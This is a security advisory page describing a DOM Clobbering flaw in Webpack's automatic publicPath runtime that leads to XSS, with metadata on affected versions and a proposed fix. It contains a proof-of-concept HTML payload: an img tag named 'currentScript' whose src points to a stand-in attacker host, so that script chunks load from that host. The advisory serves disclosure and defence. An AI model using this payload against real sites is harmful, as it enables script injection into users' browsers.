Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS00dnZqLTRjcHItcDk4Ns4AA--k

Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

Permalink: https://github.com/advisories/GHSA-4vvj-4cpr-p986
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnZqLTRjcHItcDk4Ns4AA--k
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 3 months ago
Updated: 3 months ago


CVSS Score: 6.4
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Identifiers: GHSA-4vvj-4cpr-p986, CVE-2024-43788
References: Repository: https://github.com/webpack/webpack
Blast Radius: 22.4

Affected Packages

npm:webpack
Dependent packages: 216,244
Dependent repositories: 3,177
Downloads: 120,622,960 last month
Affected Version Ranges: >= 5.0.0-alpha.0, < 5.94.0
Fixed in: 5.94.0
All affected versions: 5.0.0, 5.0.0-alpha.0, 5.0.0-alpha.1, 5.0.0-alpha.2, 5.0.0-alpha.3, 5.0.0-alpha.4, 5.0.0-alpha.5, 5.0.0-alpha.6, 5.0.0-alpha.7, 5.0.0-alpha.8, 5.0.0-alpha.9, 5.0.0-alpha.10, 5.0.0-alpha.11, 5.0.0-alpha.12, 5.0.0-alpha.13, 5.0.0-alpha.14, 5.0.0-alpha.15, 5.0.0-alpha.16, 5.0.0-alpha.17, 5.0.0-alpha.18, 5.0.0-alpha.19, 5.0.0-alpha.20, 5.0.0-alpha.21, 5.0.0-alpha.22, 5.0.0-alpha.23, 5.0.0-alpha.24, 5.0.0-alpha.25, 5.0.0-alpha.26, 5.0.0-alpha.27, 5.0.0-alpha.28, 5.0.0-alpha.29, 5.0.0-alpha.30, 5.0.0-alpha.31, 5.0.0-alpha.32, 5.0.0-beta.0, 5.0.0-beta.1, 5.0.0-beta.2, 5.0.0-beta.3, 5.0.0-beta.4, 5.0.0-beta.5, 5.0.0-beta.6, 5.0.0-beta.7, 5.0.0-beta.8, 5.0.0-beta.9, 5.0.0-beta.10, 5.0.0-beta.11, 5.0.0-beta.12, 5.0.0-beta.13, 5.0.0-beta.14, 5.0.0-beta.15, 5.0.0-beta.16, 5.0.0-beta.17, 5.0.0-beta.18, 5.0.0-beta.19, 5.0.0-beta.20, 5.0.0-beta.21, 5.0.0-beta.22, 5.0.0-beta.23, 5.0.0-beta.24, 5.0.0-beta.25, 5.0.0-beta.26, 5.0.0-beta.27, 5.0.0-beta.28, 5.0.0-beta.29, 5.0.0-beta.30, 5.0.0-beta.31, 5.0.0-beta.32, 5.0.0-beta.33, 5.0.0-rc.0, 5.0.0-rc.1, 5.0.0-rc.2, 5.0.0-rc.3, 5.0.0-rc.4, 5.0.0-rc.5, 5.0.0-rc.6, 5.1.0, 5.1.1, 5.1.2, 5.1.3, 5.2.0, 5.2.1, 5.3.0, 5.3.1, 5.3.2, 5.4.0, 5.5.0, 5.5.1, 5.6.0, 5.7.0, 5.8.0, 5.9.0, 5.10.0, 5.10.1, 5.10.2, 5.10.3, 5.11.0, 5.11.1, 5.12.0, 5.12.1, 5.12.2, 5.12.3, 5.13.0, 5.14.0, 5.15.0, 5.16.0, 5.17.0, 5.18.0, 5.19.0, 5.20.0, 5.20.1, 5.20.2, 5.21.0, 5.21.1, 5.21.2, 5.22.0, 5.23.0, 5.24.0, 5.24.1, 5.24.2, 5.24.3, 5.24.4, 5.25.0, 5.25.1, 5.26.0, 5.26.1, 5.26.2, 5.26.3, 5.27.0, 5.27.1, 5.27.2, 5.28.0, 5.29.0, 5.30.0, 5.31.0, 5.31.1, 5.31.2, 5.32.0, 5.33.0, 5.33.1, 5.33.2, 5.34.0, 5.35.0, 5.35.1, 5.36.0, 5.36.1, 5.36.2, 5.37.0, 5.37.1, 5.38.0, 5.38.1, 5.39.0, 5.39.1, 5.40.0, 5.41.0, 5.41.1, 5.42.0, 5.42.1, 5.43.0, 5.44.0, 5.45.0, 5.45.1, 5.46.0, 5.47.0, 5.47.1, 5.48.0, 5.49.0, 5.50.0, 5.51.0, 5.51.1, 5.51.2, 5.52.0, 5.52.1, 5.53.0, 5.54.0, 5.55.0, 5.55.1, 5.56.0, 5.56.1, 5.57.0, 5.57.1, 5.58.0, 5.58.1, 5.58.2, 5.59.0, 5.59.1, 5.60.0, 5.61.0, 5.62.0, 5.62.1, 5.62.2, 5.63.0, 5.64.0, 5.64.1, 5.64.2, 5.64.3, 5.64.4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